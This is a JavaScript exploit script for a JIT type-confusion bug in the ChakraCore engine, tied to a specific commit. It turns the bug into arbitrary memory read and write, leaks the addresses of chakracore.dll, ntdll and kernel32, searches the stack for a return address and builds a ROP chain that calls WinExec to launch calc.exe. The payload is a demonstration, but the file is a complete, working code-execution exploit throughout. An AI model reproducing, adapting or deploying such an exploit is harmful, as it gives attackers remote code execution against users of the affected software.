
// exploit for commit d1dc14e91fc96130f3fab734c3b5121ba2368e3d
var convert = new ArrayBuffer(0x100);
var u32 = new Uint32Array(convert);
var f64 = new Float64Array(convert);

var scratch = new ArrayBuffer(0x100000);
var scratch_u8 = new Uint8Array(scratch);
var scratch_u32 = new Uint32Array(scratch);
var BASE = 0x100000000;
log = print;

function hex(x) {
    return `0x${x.toString(16)}`
}

function bytes_to_u64(bytes) {
    return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000
                +bytes[4]*0x100000000+bytes[5]*0x10000000000);
}

function i2f(x) {
    u32[0] = x % BASE;
    u32[1] = (x - (x % BASE)) / BASE;
    return f64[0];
}

function f2i(x) {
    f64[0] = x;
    return u32[0] + BASE * u32[1];
}

// Exploit

// create an object and set 9 properties to it so that the type handler has records for these offsets
obj = {}
obj.a = 13.37;
obj.b = 1;
obj.c = 2;
obj.d = 3;
obj.e = 4;
obj.f = 5;
obj.g = 6;
obj.h = 7; // this will correspond to the offset of target->buffer
obj.i = 8;

target = new ArrayBuffer(0x200);
newL = 0x1000;
// victim function which we will JIT
function opt(o) {
    var inline = function() {
        o.b = o.b;
        o.e = target; // [[ 1 ]]
    };
    o.a = "HELLO";

    for (var i = 0; i < 10000; i++) {
        inline();    
        o.a = obj;
    }
}

Math.acos({});

// Ready to pwn :)
function pwn() {
   
    for (var i = 0; i < 160; i++) {
        opt({
            a:1.1,
            b:2.2,
            c:3.3,
        });
    }

    opt({
        a:1.1,
        b:2.2, 
        c:3.3,
        d:4.4, 
    });
    // obj->auxSlots is now [[ 1 ]] which is target

    hax = new ArrayBuffer(0x2000); // create second array buffer variable
    hax_view = new Uint32Array(hax); // set some marker values to prove we have an arbitrary R/W
    cmd_view = new Uint8Array(hax);
    hax_view[0] = 0xdeadbeef;
    hax_view[1] = 0x13371337

    obj.h = hax; // set target->buffer to hax
    obj.i = newL; // update target's length


    view1 = new Uint32Array(target); // we can use these views to read and write inside hax meta-data
    view2 = new Float64Array(target);
    view3 = new Uint8Array(target);

    log("[+] vtable pointer is " + hex(f2i(view2[0])));
    
    base = f2i(view2[0]) - 0x586bc8;
    log("[+] chakracore.dll @ " + hex(base));
    buffer_addr = f2i(view2[7]);
    log("[+] ArrayBuffer internal buffer @ " + hex(buffer_addr));
    let cmd = "C:\\Windows\\SysWOW64\\calc.exe";
    for (let i = 0; i < cmd.length; ++i) {
        cmd_view[0x1a00 + i] = cmd.charCodeAt(i);
    }
    cmd_view[0x1a00 + cmd.length] = 0;
    
    let read = function(where) {
        view2[7] = i2f(where); // setup hax->buffer
        tmp = new Float64Array(hax)
        return f2i(tmp[0]); // return (int64) hax->buffer[0]
    }

    let write = function(what, where) {
        // same concept as read
        view2[7] = i2f(where); // setup hax->buffer
        tmp = new Uint32Array(hax);
        tmp[0] = what % BASE;
        tmp[1] = what / BASE;
    }
    
    write(0x414141414141, buffer_addr + 40);
    if (read(buffer_addr + 40) !== 0x414141414141) {
        throw null;
    }
    
    // RW primitives are now good to go;

    ntdll_addr = read(base + 0x4F0000);    
    ntdll_base = ntdll_addr - 0x4cde0;
    kernel32_base = read(base + 0x4F0000 + 0x48) - 0x15da0;
    winexec_addr = kernel32_base + 0x5f0e0;
    log("[+] ntdll address: " + hex(ntdll_addr));      
    log("[+] ntdll base @ " + hex(ntdll_base));
    log("[+] kernel32 base @ " + hex(kernel32_base));
    log("[+] WinExec @ " + hex(winexec_addr));
    
    threadctx_global_addr = base + (0x7ffeef086728 - 0x7ffeeea40000);
    threadctx = read(threadctx_global_addr);
    log("[+] &thread context @ " + hex(threadctx_global_addr));      
    log("[+] thread context ptr @ " + hex(threadctx));
    stack = read(threadctx + 0xc8) + 0xf0000;
    log("[+] stack limit: " + hex(stack));
    
    //ret_addr = base + 0x4a644b;
    ret_addr = base + 0x4a38f6;
    
    var found = false;
    for (var i = 0; i < 0x10000; i++) { 
        if (read(stack) == ret_addr) {
            log("[+] Found return address on stack");
            found = true;
            break;
        }
        stack += 8;
    }

    if (!found) throw null;
       
    jmp_virtual_protect = read(base + 0x4f0160);
    pop_rdi_rsi_rbx = base + 0x112932;
    log("[+] Virtual Protect Gadget @ " + hex(jmp_virtual_protect)); 
    
    let ropchain = function(gadget, ...args) {
        write(gadget, stack);
        stack += 8;
        for (let i = 0; i < args.length; ++i) {
            write(args[i], stack);
            stack += 8;
        }
    }
    jmp_virtual_protect = read(base + 0x4f0160);
    pop_rsp_rbx_rbp = base + 0x5f77a;
    pop_rcx = base + 0x14778;
    pop_rdx = base + 0x1aa375;
    pop_rsp = base + 0xf9764;

    ropchain(pop_rsp_rbx_rbp, buffer_addr + 0x1000);
    write(0xdead4141, buffer_addr+0x1000);
    write(buffer_addr + 0x1800, buffer_addr+0x1008);
    
    write(pop_rcx, buffer_addr+0x1010);
    write(buffer_addr + 0x1a00, buffer_addr+0x1018);
    
    write(pop_rdx, buffer_addr+0x1020);
    write(5, buffer_addr+0x1028);
    
    write(winexec_addr, buffer_addr+0x1030);
    write(0xdeadead, buffer_addr+0x1038);
    
}

pwn();
